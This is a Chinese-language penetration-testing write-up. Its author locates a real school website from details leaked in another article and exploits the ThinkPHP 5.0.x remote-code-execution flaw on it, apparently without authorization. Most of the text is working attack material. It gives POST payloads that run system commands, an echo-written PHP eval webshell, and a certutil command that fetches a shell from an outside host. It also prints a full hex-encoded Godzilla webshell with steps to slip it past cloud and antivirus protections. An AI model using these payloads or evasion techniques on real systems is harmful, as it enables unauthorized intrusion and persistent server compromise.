0x01 前言
这篇文章记录的是笔者在阅读某公众号发布的“记一次对****某校区失败的渗透测试”文章时发现存在漏点,找到目标站点并对原文章作者在Getshell时遇到的问题进行了一些测试,Getshell失败的原因他认为是Assert、Eval被禁用或者360安全防护问题,其实都不是。
漏点处出在Burpsuite请求/响应包中以及****等关键字。
0x02 TP-RCE漏洞利用与杀软对比
这是一个后台登录页,基于ThinkPHP V5.0.20框架,可利用ThinkPHP 5.0.0~5.0.23 RCE漏洞直接执行系统命令,不同小版本之间利用的Payload可能会有些差别。
_method=__construct&filter=system&a=whoami http://192.168.1.7/ThinkPHP/public/index.php?s=captcha post_poc1:_method=__construct&filter[]=system&method=get&get[]=whoami post_poc2:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
通过与tasklist /svc命令结果对比发现为阿里云主机,并且安装的有服务器安全狗、360安全卫士和微软自带的Windows Defender,所以不能直接用以下两种方式来进行测试。
- 1. 360安全卫士和服务器安全狗都会拦截Net/Net1添加用户行为,所以没办法直接添加管理员用户。
- 2. 360安全卫士和Windows Defender也会拦截Mshta、Powershell等程序的执行,而且还有特征查杀和AMSI,所以暂时不用考虑用MSF和CS来获取会话,因为免杀、传文件和执行方式都是问题......!
0x02 绕过阿里云主机防护Getshell
(1) 常规思路写Webshell这里我们可以先利用dir命令查看当前网站绝对路径,然后再用echo命令写入一个PHP Webshell,不过在写入<?php @eval($_POST[cmd]);?>一句话木马时发现被拦了,正常内容是可以写入的。
当我们写入的Webshell特征被阿里云防护检测到时就会被拦截并Ban掉IP,会触发告警,链接被重置,网站暂时无法访问等,这也就是原文章作者Getshell失败的原因了。
1、列出当前目录
_method=__construct&filter=system&a=dir
2、写入PHP一句话木马
_method=__construct&filter=system&a=echo ^<?php @eval($_POST[cmd]);?^> > E:\phpstudys\PHPTutorial\WWW\bm\public\static\shell.php
在遇到这类云主机防护时可以尝试更换为免杀Webshell,这里我用的是“哥斯拉”生成的PHP木马。但问题又来了,哥拉斯的马并不是“一句话”,有34行,无法直接利用echo命令来写入,那么又该通过怎样的方式来写入这个PHP木马呢?接着往下看。
(2) Certutil远程下载Webshell
这里笔者首先想到的是certutil,当然也可以选择其他远程下载文件方式!RCE这类漏洞中利用certutil下载文件时建议加上cmd.exe /c,因为这样能绕过火绒应用加固中的“Web服务器”防护,也有可能可以绕过其他安全软件对certutil执行的拦截。
_method=__construct&filter=system&a=cmd.exe /c certutil.exe -urlcache -split -f http://betaseclab.com/bypass/shell.txt E:\phpstudys\PHPTutorial\WWW\bm\public\static\shell.php
(3) Certutil编码上传Webshell
将“哥斯拉”的PHP木马在https://www.107000.com/T-Hex上进行一次或多次编码,然后将编码后的内容用set命令写入,最后再用certutil命令的decodehex参数将其解码并写入到shell.php文件即可。
_method=__construct&filter=system&a=cmd.exe /c set /p="3C3F7068700A2020202073657373696F6E5F737461727428293B0A20202020407365745F74696D655F6C696D69742830293B0A09406572726F725F7265706F7274696E672830293B0A2020202066756E6374696F6E20452824442C244B297B0A2020202020202020666F722824693D303B24693C7374726C656E282444293B24692B2B29207B0A20202020202020202020202024445B24695D203D2024445B24695D5E244B5B24692B312631355D3B0A20202020202020207D0A202020202020202072657475726E2024443B0A202020207D0A2020202066756E6374696F6E2051282444297B0A202020202020202072657475726E206261736536345F656E636F6465282444293B0A202020207D0A2020202066756E6374696F6E204F282444297B0A202020202020202072657475726E206261736536345F6465636F6465282444293B0A202020207D0A2020202024503D2770617373273B0A2020202024563D277061796C6F6164273B0A2020202024543D2733633665306238613963313532323461273B0A2020202069662028697373657428245F504F53545B24505D29297B0A202020202020202024463D4F2845284F28245F504F53545B24505D292C245429293B0A202020202020202069662028697373657428245F53455353494F4E5B24565D29297B0A202020202020202020202020244C3D245F53455353494F4E5B24565D3B0A20202020202020202020202024413D6578706C6F646528277C272C244C293B0A202020202020202020202020636C61737320437B7075626C69632066756E6374696F6E206E766F6B6528247029207B6576616C2824702E2222293B7D7D0A20202020202020202020202024523D6E6577204328293B0A09090924522D3E6E766F6B652824415B305D293B0A2020202020202020202020206563686F20737562737472286D64352824502E2454292C302C3136293B0A2020202020202020202020206563686F20512845284072756E282446292C245429293B0A2020202020202020202020206563686F20737562737472286D64352824502E2454292C3136293B0A20202020202020207D656C73657B0A202020202020202020202020245F53455353494F4E5B24565D3D24463B0A20202020202020207D0A202020207D" <nul >> E:\phpstudys\PHPTutorial\WWW\bm\public\static\hex.txt
_method=__construct&filter=system&a=cmd.exe /c certutil -decodehex E:\phpstudys\PHPTutorial\WWW\bm\public\static\hex.txt E:\phpstudys\PHPTutorial\WWW\bm\public\static\shell.php
用哥斯拉连接后发现在基础信息里获取的系统版本与systeminfo命令获取的系统版本不一致,这应该算是哥拉斯的一个小BUG吧,但影响不大。
由于是国内的网站,所以笔者这里只对Getshell问题进行了测试,并没有进行下一步测试,写入的文件也已经删除了,有兴趣的老哥可以在自己阿里云主机上安装一个ThinkPHP 5.0.0~5.0.23 RCE靶场环境进行测试!
ThinkPHP5.0.20完整版: